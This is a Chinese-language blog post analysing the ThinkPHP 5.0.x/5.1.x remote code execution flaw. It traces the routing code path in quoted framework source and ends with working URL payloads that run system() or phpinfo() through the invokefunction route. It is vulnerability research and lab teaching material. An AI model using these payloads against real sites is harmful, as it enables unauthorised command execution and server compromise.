ThinkPHP 5.x任意代码执行漏洞分析

ThinkPHP 5.x任意代码执行漏洞分析

Gat1ta 379 2021-05-19

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

0x0:漏洞概要

漏洞名称:ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞
参考编号:无
威胁等级:严重
影响范围:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31
漏洞类型:远程代码执行
利用难度:容易

0x1:漏洞描述

2018年12月10日,ThinkPHPv5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

0x2:环境搭建

当前环境为Windows+phpstudy搭建。

OS:win10 10586

PhpStudy:8.1.1.2

ThinkPhp:5.0.22

PHP:7.3.4

环境搭建成功后会看到如下界面:
image.png

0x3:漏洞分析

该漏洞的根源在于框架对控制器名没有进行足够的检测,从而会在未开启强制路由的情况下被引入恶意外部参数,造成远程代码执行漏洞。

由ThinkPHP的架构可知,控制器(controller)是通过url中的路由进行外部传入的,即/index.php?s=/模块/控制器/操作&参数名=参数值,控制器作为可控参数,经过library/think/APP.php文件进行处理,我们跟踪路由处理的逻辑,来完整看一下该漏洞的整体调用链:

首先在run()主函数中,url传入后需要经过路由检查,如下代码所示:
image.png

跟进routeCheck函数:
image.png

想要路由检查,首先需要获取URL信息,所以routeCheck的第一件事首先要先调用request->path获取url信息,path函数中又调用了pathinfo函数,详细代码如下:
image.png

其中var_pathinfo参数即为系统默认参数,默认值为s,可以在config.php文件中看到:
image.png

通过GET方法将获取到的var_pathinfo的值,即s=/模块/控制器/操作&参数名=参数值的内容送到routeCheck()函数中$path参数进行路由检查处理。

继续回到routeCheck()函数:
image.png

在初始化路由检查配置之后,就会调用Route::check进行路由检查,如果路由无效并且开启了开启了强制路由的情况下,则会抛出异常,最终会调用Route::parseUrl进行模块控制器操作解析。

详细代码如下:

public static function parseUrl($url, $depr = '/', $autoSearch = false)
    {
        if (isset(self::$bind['module'])) {
            $bind = str_replace('/', $depr, self::$bind['module']);
            // 如果有模块/控制器绑定
            $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
        }
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模块
            $module = Config::get('app_multi_module') ? array_shift($path) : null;
            if ($autoSearch) {
                // 自动搜索控制器
                $dir    = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer');
                $suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : '';
                $item   = [];
                $find   = false;
                foreach ($path as $val) {
                    $item[] = $val;
                    $file   = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT;
                    $file   = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT;
                    if (is_file($file)) {
                        $find = true;
                        break;
                    } else {
                        $dir .= DS . Loader::parseName($val);
                    }
                }
                if ($find) {
                    $controller = implode('.', $item);
                    $path       = array_slice($path, count($item));
                } else {
                    $controller = array_shift($path);
                }
            } else {
                // 解析控制器
                $controller = !empty($path) ? array_shift($path) : null;
            }
            // 解析操作
            $action = !empty($path) ? array_shift($path) : null;
            // 解析额外参数
            self::parseUrlParams(empty($path) ? '' : implode('|', $path));
            // 封装路由
            $route = [$module, $controller, $action];
            // 检查地址是否被定义过路由
            $name  = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
            $name2 = '';
            if (empty($module) || isset($bind) && $module == $bind) {
                $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
            }
            if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
                throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
            }
        }
        return ['type' => 'module', 'module' => $route];
    }

可以看到,首先调用self::parseUrlPath($url);将url分割成数组的方式返回,然后取出数组的值,按照顺序分别是模块、控制器、操作。

然后封装到route中返回。

回到run函数:
image.png

可以看到,routeCheck返回的值在后面会被传入exec函数中,通过名字来看,在这个函数中会执行传进去的动作。
image.png

由于我们传入的类型是module类型,所以会调用module函数来处理我们的调用。

module完整代码如下:

    public static function module($result, $config, $convert = null)
    {
        if (is_string($result)) {
            $result = explode('/', $result);
        }
        $request = Request::instance();
        if ($config['app_multi_module']) {
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
            $bind      = Route::getBind('module');
            $available = false;
            if ($bind) {
                // 绑定模块
                list($bindModule) = explode('/', $bind);
                if (empty($result[0])) {
                    $module    = $bindModule;
                    $available = true;
                } elseif ($module == $bindModule) {
                    $available = true;
                }
            } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
                $available = true;
            }
            // 模块初始化
            if ($module && $available) {
                // 初始化模块
                $request->module($module);
                $config = self::init($module);
                // 模块请求缓存检查
                $request->cache(
                    $config['request_cache'],
                    $config['request_cache_expire'],
                    $config['request_cache_except']
                );
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        } else {
            // 单一模块部署
            $module = '';
            $request->module($module);
        }
        // 设置默认过滤机制
        $request->filter($config['default_filter']);
        // 当前模块路径
        App::$modulePath = APP_PATH . ($module ? $module . DS : '');
        // 是否自动转换控制器和操作名
        $convert = is_bool($convert) ? $convert : $config['url_convert'];
        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;
        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }
        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
        // 监听module_init
        Hook::listen('module_init', $request);
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }
        // 获取当前操作名
        $action = $actionName . $config['action_suffix'];
        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);
        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }
        Hook::listen('action_begin', $call);
        return self::invokeMethod($call, $vars);
    }

首先查看该路由中的模块信息是否存在且是否存在于禁止的模块类表中:
image.png

然后获取控制器名和操作名,并且调用 Loader::controller实例化控制器并且返回控制器实例。
image.png

之后将控制器实例和操作名封装成一个数组,调用self::invokeMethod($call, $vars);
image.png

我们来到self::invokeMethod函数中:
image.png

可以看到,通过控制器实例和方法名称来实例化一个ReflectionMethod类,然后调用$args = self::bindParams($reflect, $vars);来获取参数。

之后通过$reflect->invokeArgs(isset($class) ? $class : null, $args);来反射调用目标函数。

0x4:漏洞利用

分析完了漏洞原理,接下来就可以尝试利用该漏洞了。

首先构建payload,经过测试,在当前版本,可以用以下payload来远程执行任意命令:

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxx

用以下payload来执行phpinfo

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

参考链接:

https://www.freebuf.com/vuls/249178.html

https://www.cnblogs.com/r00tuser/p/10103329.html